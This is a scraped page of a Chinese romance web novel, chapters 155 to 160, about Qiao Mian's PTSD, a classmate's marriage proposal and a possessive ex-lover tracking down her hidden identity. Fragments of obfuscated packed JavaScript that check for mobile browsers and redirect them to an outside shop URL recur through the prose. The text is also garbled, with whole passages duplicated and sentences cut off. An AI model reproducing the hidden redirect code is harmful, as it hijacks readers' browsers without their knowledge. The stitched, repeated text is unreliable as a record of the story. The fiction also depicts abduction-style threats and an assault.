l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113440|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 第155章 早就是夫妻了 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118240|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 她低着头,攥紧外套,逃一般走出了餐厅。 霍宴北望着消失在视线里的一对男女,胸腔里泛起一抹异样的情绪。 让他有些不舒服的咳嗽了两声。 咳得肺腑生疼。 顾淮年扶住他:“你认识那个男人?” 霍宴北冷笑:“认识。” 今日场景,一如那年夏天,他买了生日礼物,去学校找霍妩。 却在食堂里,看到她跟一个男生坐在一起吃饭的情景。 那人便是周津南。 第156章 最恨她的是霍家人 周津南看到那张高中班级毕业照时,眉头瞬间皱了起来。 他伸手拿起来,毫不犹豫的直接撕成了碎片,扔进了垃圾桶。 “妈,你别瞎猜了,乔律师不是秦妩。” 周津南否认。 但是,李芝根本不相信他说的话,尤其是看到他激动到直接撕照片的行为,反而愈加确定,那个叫乔眠的就是秦妩! “你少糊弄我!” 李芝抚着憋得生疼的胸口起身,冲着儿子大声嚷嚷,“你是我儿子,这些年,你心里在想什么,我能不知道?” 说到这里,李芝气愤的抬手朝他胳膊上狠狠打了两下,“这些年,你心里一直念着秦妩那个丫头,不谈恋爱也不相亲,现在却突然对乔眠那个女人献殷勤,还借给她那么多钱,除了秦妩能让你上赶着掏心掏肺,还能是谁?” “她不是……” 周津南不肯承认。 也不能承认。 因为,他知道母亲对秦妩有很大的偏见。 “你就死鸭子嘴硬吧!” 李芝气得有些喘不过气来,周津南见状,立马扶她坐下来,却被一把推开,“津南,秦妩高中时在咱们老家县城那些烂事,你不是不知道,那么小的丫头,惯会勾引人也就罢了,还狼心狗肺的把自己的哥哥送进了牢里,害得她养父母家破人亡,这得多歹毒的心,才能干出这么不是人的事情?” “妈!” 周津南低吼一声,“秦妩当年差点被她养父母家的儿子玷污,秦妩报警抓他,没有错!” “屁!” 李芝呸了一声,“秦家当年领养她,就是给儿子提前物色了一个童养媳,她吃秦家的,穿秦家的,人家还供她上学读书,最后就是要她知恩图报做媳妇的,她倒好,白眼狼一个!” “妈,你这是愚昧!” 周津南真的很心累。 当年,秦妩出事时,他在京市读高一。 那时,秦妩在老家县城刚结束中考。 他根本不知道秦妩在养父母家遭遇了那种龌龊的事情。 还满心欢喜的等着她考入京市一中,盼着以学长的身份靠近她。 因为,在他家没有搬去京市之前,和秦妩一起住在县城的安置小区时,他就已经喜欢她了。 只是,每次,在她最艰难受苦的时候,他都错过了守在她身边的机会。 当年,秦妩被养父母的儿子差点**一事,他是一次初中同学聚会上听同学嚼舌根时才知道的。 那时候,他才明白,为什么后来秦妩考进了京市一中后,一直住校,再也没有回过老家县城。 原来,出事后,她报警了。 把养父母的儿子送进了牢里之后,被养父母赶了出来。 从高中时,秦妩就已经是孤零零一个人了。 后来,又经历了霸凌事件…… 为了护她,本高她一届的他,放弃了高考,选择留级。 只为做她的同班同学,还有同桌。 可是,最后,母亲却偷改了他的志愿。 如果当年,他如愿考进京大的话,他会想尽办法追求她。 让她成为他的女朋友。 那么,秦妩就不会遇到霍宴北。 更不会为了霍宴北,改名霍妩,回到霍家,过那种委屈求全的日子。 明明,他比霍宴北认识秦妩更早。 可是,他却一次次错过了她。 这次,他以为,自己可以帮她逃离霍宴北。 最后,却没想到,反而害得她为了他无法脱身。 现在又被母亲逼迫至此,周津南从来没有对自己的母亲发过这么大的脾气。 “妈,她是秦妩也好,乔眠也罢,我明明白白的告诉您,这辈子,我非她不可,您再逼我,这个家,我以后再也不回……” 语落时,李芝抬手朝儿子脸上打了一巴掌。 她捶着胸口,带着哭腔骂道,“你终于承认了,她就是秦妩!你为了那个小**,是不打算要咱们这个家,也不要我这个妈了?行!那我也明明白白告诉你,除非我死,若不然,你们休想在一起!” 母子俩大吵一架,周津南见母亲态度强硬,觉得没有再沟通下去的必要了。 也担心再吵下去,母亲心脏受不住,直接摔门走了。 “她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周津南开车去了城中村。 来到乔眠租的房子门口,按了许久门铃,无人应答。 第157章 去了民政局 就在他准备给乔眠打电话时,串门的张婶瞧过来一眼,说道,“别摁了,小乔搬走了。” “搬走了?” 周津南很吃惊。 “是啊,昨儿个刚搬走的,你是小乔什么人啊?” 张婶八卦了一句。 周津南没回话,一边给乔眠打电话,一边下楼。 但是,连续打了好几个电话,对方都没有接听。 他知道,她是在故意和他撇清关系。 甚至连家都搬了。 失魂落魄的回到同尘律所后,本来想约岳臣一起出去喝一杯的,没想到曾经的高中同学给他打了一个电话。 “津南,这两天有人一直在查关于秦妩的事情。” 周津南神色一变,急忙问道,“真有这种事情?” “是啊,不过,我也是跟同学喝酒聊天时,听过一嘴,我问过,他说,他也是听别的老同学之间传的,具体什么情况,我也不太清楚。” “我知道你这些年一直在找秦妩,听到这个消息后,就先告诉你了。” 同学说完后,周津南沉默了好一会儿,对方再说些什么,他已经听不到了。 脑袋嗡嗡的一片空白。 岳臣走过来,给他倒了一杯茶,递到他手里,“怎么了?脸色这么差?” “霍宴北在查乔眠,已经查到她曾经就读的京市一中了。” 岳臣是周津南最好的哥们儿。 周津南和秦妩之间的事情,他一清二楚。 听到这个结果,岳臣却一脸淡定,“你不是说乔眠高中时特别瘦吗?霍宴北认识曾经的秦妩时,身材样貌和现在完全是两个人,再加上过去了这么多年,即便他查到秦妩曾经的一些事情,也未必联系到乔眠头上。” “虽然你说的无不道理,但是,你不了解霍宴北这个人。” 周津南攥着水杯的手指根根泛白,“他能查到一中,还有我曾经的高中同学那里,说明对乔眠的身份已经不是怀疑那么简单了,或者说,他几乎确定了乔眠就是曾经的秦妩,现在他只是在找证据。” 岳臣,“那怎么办?这事已经漏了,也没办法补救。” “现在补救都晚了。” 周津南眉头皱的死死的,“现在就看他能不能认出高中时期的秦妩和现在的乔眠是不是一个人,就像你说的,曾经的秦妩和现在的乔眠变化很大。况且,霍宴北只见过变胖时期的秦妩。” 岳臣叹了一口气,“人的样貌变化其实是其次的,重要的是感觉,哪怕乔眠就是整容成另外一个人,如果霍宴北感觉她是曾经的秦妩,那她就是,津南,感觉是很可怕的。” “所以,我很后悔,这次没能帮助乔眠彻底逃离霍宴北。” “你斗不过他的。” 岳臣扫了一眼外面空荡荡的办公区,“咱律所刚步入正轨,拿什么跟霍宴北拼?” “所以,我上次才让你把我之前在霍氏那几年搜集到的一些证据放出去。” 说到这里,周津南问,“进展怎么样了?” 岳臣有些担忧,但还是如实回道,“已经匿名检举了,很快消息也会同步各大媒体散出去。” “好,至少能够转移一下他的目标,别让她总盯着乔眠不放。” “那后面你打算怎么做?” “有些事情,得乔眠点头才才行。” 周津南想了想,从抽屉里拿出一个文件袋,离开了律所。 …… 夜晚,乔眠望着手机上的未接电话,沉重的叹了一口气。 第二天,周津南打电话约乔眠见面。 乔眠迟疑了很久,觉得有些话还是需要当面聊清楚。 见面时,周津南把文件递过来。 乔眠看完后很震惊的问道,“PTSD是什么……” 周津南认真的解释給她听,“就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周津南拿出一份文件袋,递给她,“你先看下。” 乔眠接过文件袋,打开一看,里面有两套房产,几张银行卡,个人投资的项目资产,以及同尘律所的股份。 还有身份证、户口本…… 乔眠看完后,更加疑惑了,“你……给我这些做什么?” 周津南伸手轻握住她的小手,“秦妩,我很久以前就已经喜欢你了,以前,是我不够勇敢,一次又一次错过了你,六年了,我好不容易等到了你,这次,我不想再错过你。” 乔眠脑袋嗡一下,空白了几秒。 虽然之前感觉到周津南对自己的感情已经超出了同学朋友之情。 她也刻意疏远了他。 但没想到,他今天约她出来,是对她表白的。 这完全超出她的预料之外,着实有些吃惊。 “周津南……” 乔眠将手抽回,些许慌乱的避开他过于灼热的眼神,垂着眼眸,想着该说些什么拒绝他时,周津南下面的话,让她更为震惊。 “秦妩,这些是我全部的资产,也是我对你的诚意,如果你不讨厌我的话,现在我们就可以进去领证结婚。” “等一下……” 乔眠有被吓到,“领证?周津南,你在开什么玩笑?” 她觉得今天的周津南,跟霍宴北一样,疯! “我没有开玩笑,我是认真的。” 周津南见她一脸不可置信的表情,看着她的眼神有些受伤,“你难道从来就没有考虑过跟我在一起吗?” 乔眠不想陷入和男人之间的情感暧昧拉扯,实话实说:“抱歉,周津南,我只拿你当朋友……” 既然不喜欢,就不要给人希望。 即便对周津南有过感动,她和他也不会有任何结果。 毕竟,他母亲那么敌视她。 她现在只希望周津南离她远一些,过好属于自己的生活。 然而,周津南听到她的回答之后,情绪有些激动,一把攥住她的手腕,“秦妩,我知道你一直想逃离霍宴北,只有我们领证结婚了,就是法律上的合法夫妻,他再强势,也拿你没辙了。” “你放心,婚后我会对你好,也会对孩子们好的,你信我,好吗?” 听完这些话,乔眠沉默了。 她这才明白周津南为何带她来民政局。 他是绞尽脑汁想帮她离开霍宴北。 按常理说,这个办法虽然偏激,但绝对有效。 可是,现在的霍宴北,就是一个彻头彻尾的疯子。 即便她嫁人,以他那狠厉的性子,就敢抢。 不仅如此,再和周津南牵扯不清,只会给两人之间拉仇恨。 以周津南目前的实力,根本敌不过霍宴北。 最重要的是,结婚是一辈子的大事。 她不爱周津南。 勉强和他在一起,对他不公平,自己也不快乐。 所以,无论是为了周津南,还是为了自己,她这次拒绝的很明确,“周津南,你对我的好,我很感激,但是,我不会和你领证结婚的,如果你不想破坏我们之间的情谊的话,就忘掉你今天说的这些话,以后,我们还是朋友。” “秦妩……” 周津南极力隐忍着压抑的情绪,但还是在听到她拒绝的话后,有些失控的一把将她搂入了怀里。 乔眠没想到一向稳重自持的周津南会对她做出冒犯之举,吓得直接愣住了。 反应过来后,正欲推开他时,周津南双臂收紧她的肩背,在她耳边语气低沉的说,“霍宴北已经查到了京市一中,秦妩,你身份暴露只是时间问题,只有跟我在一起,你才能够脱身。” 乔眠清澈的瞳孔猛地一紧。 就在她正欲推开他询问时,忽然车门被人从外面拽开。 紧接着,胳膊被用力一扯。 毫无防备之下,被人从车里连拖带拽拉了下来。 双脚还未站稳,就重重跌入一个坚实宽厚的怀抱里。 一抬眼,就看到一张冷到骨子里的俊脸。 是霍宴北。 就在她震惊他怎么跟到这里来的时,男人攥紧她的腰,脸色沉的能结出冰渣来,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123749|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步朝旁边停着的劳斯莱斯走去。 然后,刚走出两步,周津南从车里下来,追上来拦住了两人的去路。 霍宴北眉头紧皱,极力压抑着的嗓音冷到了骨子里:“周津南,别找死。” 乔眠太了解霍宴北此时的情绪有多么糟糕,担心周津南激怒他,两人起冲突,于是,紧忙朝周津南使了个眼色,“周津南,我们的事情以后再说。” 然而,周津南完全听不进去,居然抬手攥住了乔眠的手腕,直接硬刚霍宴北,“霍总,我今天带乔眠来这里就是领证结婚的,她是一个自由人,你强行带走我的未婚妻,不太合适吧?” 望着乔眠被男人握住的那只纤细手腕,霍宴北眼睛刺痛的厉害,积攒一路的火气顷刻间就爆发了出来。 他提拳就打在了周津南的脸上。 给予最强硬的回应。 “周津南,别说是你的未婚妻,就是今天你们真的领证了,乔眠也只能归我一个所有。” 说到这里,他侧目,原本盛怒的眼神变得柔和了几分。 但是,压迫感仍旧让人不寒而栗。 乔眠被盯得头皮发麻。 眼睁睁的看着周津南嘴角溢出一缕鲜血,踉跄着身体站起身来时,敲门下意识伸手想扶一把时,男人语气幽冷的让人如至冰窖,“乔眠,你说呢?” “我……” 乔眠知道现在无论解释什么,在霍宴北眼里都是错。 她也明白,周津南跟霍宴北硬碰硬,是在帮她。 可是,他越是这么做,只会激发矛盾。 等于是把她架在了火堆上烤。 既然霍宴北还在查她,暴露是早晚的事情。 以后就更不能和周津南牵扯不清。 免得连累他。 同时,她也想断了他的心思。 所以,乔眠硬着心肠说着违心的话,“周津南,我从来就没有喜欢过你,我现在……” 说到这里,她顿了一下,紧握起霍宴北的大手,与他十指交握在一起,“我现在已经和霍总在一起了,以后,请你不要再来打扰我,听明白了吗?” 第159章 她再一次维护了他 周津南拿出一份文件袋,递给她,“你先看下。” 乔眠接过文件袋,打开一看,里面有两套房产,几张银行卡,个人投资的项目资产,以及同尘律所的股份。 还有身份证、户口本…… 乔眠看完后,更加疑惑了,“你……给我这些做什么?” 周津南伸手轻握住她的小手,“秦妩,我很久以前就已经喜欢你了,以前,是我不够勇敢,一次又一次错过了你,六年了,我好不容易等到了你,这次,我不想再错过你。” 乔眠脑袋嗡一下,空白了几秒。 虽然之前感觉到周津南对自己的感情已经超出了同学朋友之情。 她也刻意疏远了他。 但没想到,他今天约她出来,是对她表白的。 这完全超出她的预料之外,着实有些吃惊。 “周津南……” 乔眠将手抽回,些许慌乱的避开他过于灼热的眼神,垂着眼眸,想着该说些什么拒绝他时,周津南下面的话,让她更为震惊。 “秦妩,这些是我全部的资产,也是我对你的诚意,如果你不讨厌我的话,现在我们就可以进去领证结婚。” “等一下……” 乔眠有被吓到,“领证?周津南,你在开什么玩笑?” 她觉得今天的周津南,跟霍宴北一样,疯! “我没有开玩笑,我是认真的。” 周津南见她一脸不可置信的表情,看着她的眼神有些受伤,“你难道从来就没有考虑过跟我在一起吗?” 乔眠不想陷入和男人之间的情感暧昧拉扯,实话实说:“抱歉,周津南,我只拿你当朋友……” 既然不喜欢,就不要给人希望。 即便对周津南有过感动,她和他也不会有任何结果。 毕竟,他母亲那么敌视她。 她现在只希望周津南离她远一些,过好属于自己的生活。 然而,周津南听到她的回答之后,情绪有些激动,一把攥住她的手腕,“秦妩,我知道你一直想逃离霍宴北,只有我们领证结婚了,就是法律上的合法夫妻,他再强势,也拿你没辙了。” “你放心,婚后我会对你好,也会对孩子们好的,你信我,好吗?” 听完这些话,乔眠沉默了。 她这才明白周津南为何带她来民政局。 他是绞尽脑汁想帮她离开霍宴北。 按常理说,这个办法虽然偏激,但绝对有效。 可是,现在的霍宴北,就是一个彻头彻尾的疯子。 即便她嫁人,以他那狠厉的性子,就敢抢。 不仅如此,再和周津南牵扯不清,只会给两人之间拉仇恨。 以周津南目前的实力,根本敌不过霍宴北。 最重要的是,结婚是一辈子的大事。 她不爱周津南。 勉强和他在一起,对他不公平,自己也不快乐。 所以,无论是为了周津南,还是为了自己,她这次拒绝的很明确,“周津南,你对我的好,我很感激,但是,我不会和你领证结婚的,如果你不想破坏我们之间的情谊的话,就忘掉你今天说的这些话,以后,我们还是朋友。” “秦妩……” 周津南极力隐忍着压抑的情绪,但还是在听到她拒绝的话后,有些失控的一把将她搂入了怀里。 乔眠没想到一向稳重自持的周津南会对她做出冒犯之举,吓得直接愣住了。 反应过来后,正欲推开他时,周津南双臂收紧她的肩背,在她耳边语气低沉的说,“霍宴北已经查到了京市一中,秦妩,你身份暴露只是时间问题,只有跟我在一起,你才能够脱身。” 乔眠清澈的瞳孔猛地一紧。 就在她正欲推开他询问时,忽然车门被人从外面拽开。 紧接着,胳膊被用力一扯。 毫无防备之下,被人从车里连拖带拽拉了下来。 双脚还未站稳,就重重跌入一个坚实宽厚的怀抱里。 一抬眼,就看到一张冷到骨子里的俊脸。 是霍宴北。 就在她震惊他怎么跟到这里来的时,男人攥紧她的腰,脸色沉的能结出冰渣来,抬步朝旁边停着的劳斯莱斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128744|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走去。 然后,刚走出两步,周津南从车里下来,追上来拦住了两人的去路。 霍宴北眉头紧皱,极力压抑着的嗓音冷到了骨子里:“周津南,别找死。” 乔眠太了解霍宴北此时的情绪有多么糟糕,担心周津南激怒他,两人起冲突,于是,紧忙朝周津南使了个眼色,“周津南,我们的事情以后再说。” 然而,周津南完全听不进去,居然抬手攥住了乔眠的手腕,直接硬刚霍宴北,“霍总,我今天带乔眠来这里就是领证结婚的,她是一个自由人,你强行带走我的未婚妻,不太合适吧?” 望着乔眠被男人握住的那只纤细手腕,霍宴北眼睛刺痛的厉害,积攒一路的火气顷刻间就爆发了出来。 他提拳就打在了周津南的脸上。 给予最强硬的回应。 “周津南,别说是你的未婚妻,就是今天你们真的领证了,乔眠也只能归我一个所有。” 说到这里,他侧目,原本盛怒的眼神变得柔和了几分。 但是,压迫感仍旧让人不寒而栗。 乔眠被盯得头皮发麻。 眼睁睁的看着周津南嘴角溢出一缕鲜血,踉跄着身体站起身来时,敲门下意识伸手想扶一把时,男人语气幽冷的让人如至冰窖,“乔眠,你说呢?” “我……” 乔眠知道现在无论解释什么,在霍宴北眼里都是错。 她也明白,周津南跟霍宴北硬碰硬,是在帮她。 可是,他越是这么做,只会激发矛盾。 等于是把她架在了火堆上烤。 既然霍宴北还在查她,暴露是早晚的事情。 以后就更不能和周津南牵扯不清。 免得连累他。 同时,她也想断了他的心思。 所以,乔眠硬着心肠说着违心的话,“周津南,我从来就没有喜欢过你,我现在……” 说到这里,她顿了一下,紧握起霍宴北的大手,与他十指交握在一起,“我现在已经和霍总在一起了,以后,请你不要再来打扰我,听明白了吗?” 第160章 身份暴露了 乔眠想了想,回了一句,【我考虑一下。】 其实,若不是班长说孙教授身体不太好,她不会考虑参加京大的校庆典礼的。 以霍宴北现在的身价,他又是京大历届毕业生的学霸级校草人物。 她担心霍宴北会被校方邀请参加。 到时候,如果撞上他,她又该如何解释? 毕竟,在他眼里,她不是京大毕业生。 不过,她还是存了侥幸心理。 万一他不去呢? 又或者,即使他去了,那天京大师生云集,还有各界名流人士,并不一定能够碰到他。 抱着这个心态,乔眠心里开始自我安慰。 她不知道的是,此时此刻,她的身份已经彻底暴露了。 …… 一处密闭的房间内。 刚才给乔眠QQ上发消息的班长邹鹏,此刻,战战兢兢的坐在一张椅子上。 身旁站着好几个人高马大的保镖。 他满脸惊慌直打哆嗦,紧忙将手机递给陈珂。 他先天听障有问题,可以说话,但是,听不到别人说话。 他扶了下耳朵上戴着的助听器,开口道,“我已经按照您交代的做了,什么时候可以放我走?” 他今天一下班,就被人强行塞进车里,带到了这里。 还以为遇到了**。 但是,却发现来人身份似乎不一般。 虽然态度很客气,并没有对他动手,但是,打手站成了一排,赤裸裸的威胁他,联系曾经的大学同班同学秦妩。 这阵仗架势,好像若是他不照做的话,就不会有好下场。 所以,他不敢多问一句废话,只得乖乖照做。 “你们到底什么时候放我离开啊?” 邹鹏擦了一把脑门上冒出的薄汗,又问了一遍。 陈珂接过手机,看完邹鹏和备注为‘秦妩’的好友聊天记录后,震惊的瞳孔猛地缩了一下。 “你可知道,秦妩还有另外一个名字吗?” 为了确保不出差错,他试探性的问。 邹鹏不明白他问这句话的意思,但是,实话实说道,“我大一就和秦妩一个班,她就叫秦妩啊!” 说到这里,他忽然想起什么,补了一句,“哦对了,后来,她不知道怎么就成了霍家千金大小姐,改名了,叫……霍妩,但是,我还是习惯性叫秦妩。” “这……有问题吗?” 邹鹏问。 陈珂再次认真看了一遍QQ上的聊天内容后,点开对方的QQ号码,截图之后急忙发送给了霍宴北。 让老板再次进行确认,这个QQ号码是不是曾经霍妩小姐用过的那个QQ。 霍宴北看到陈珂发的截图时,刚把女儿霍思念哄睡着,准备离开儿童房。 他定定的看着截图上那串即便时隔多年,仍旧特别熟悉的QQ号码,恍惚了两秒后,回复,【是阿妩的QQ号,是不是事情有新的进展了?】 陈珂看完老板的微信后,头皮麻了又麻,喃喃自语了一句,“QQ号码是霍妩小姐的,QQ上回复邹鹏的人,就是霍妩小姐无疑,所以,霍妩小姐真的没有死……” 他声音不大,但是,邹鹏听到了,嘟哝了一句,“秦妩当然没死啊,**还怎么回复……” 说到这里,他才后知后觉的抓住刚才陈珂口中‘霍妩小姐’这个称呼,反应了几秒后,吃惊道,“你是霍家派来的人?” 陈珂定了定神后,警告的眼神看向邹鹏,“如果我不是你,就学聪明点,把嘴巴闭严实了,省的以后哪天下班突然被装进麻袋丢进江里喂鱼。” 邹鹏听后,吓得腿都软了,“行行行,我闭嘴,事情也给你办完了,能不能放我走啊?” “也没说不放你走啊。” 陈珂轻笑一声,“今天之所以带邹先生来这里单聊,还不是因为之前电话联系您,您不肯赏脸出来见一面?” 邹鹏这才恍然,“原来之前一直给我打电话的人是你啊……” 说到这里,他急忙解释,“抱歉,是我有眼无珠,但是,你也理解一下啊,陌生人突然打电话约我出来见面,还问一些我以前老同学的事情,我谨慎点,不是应该的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 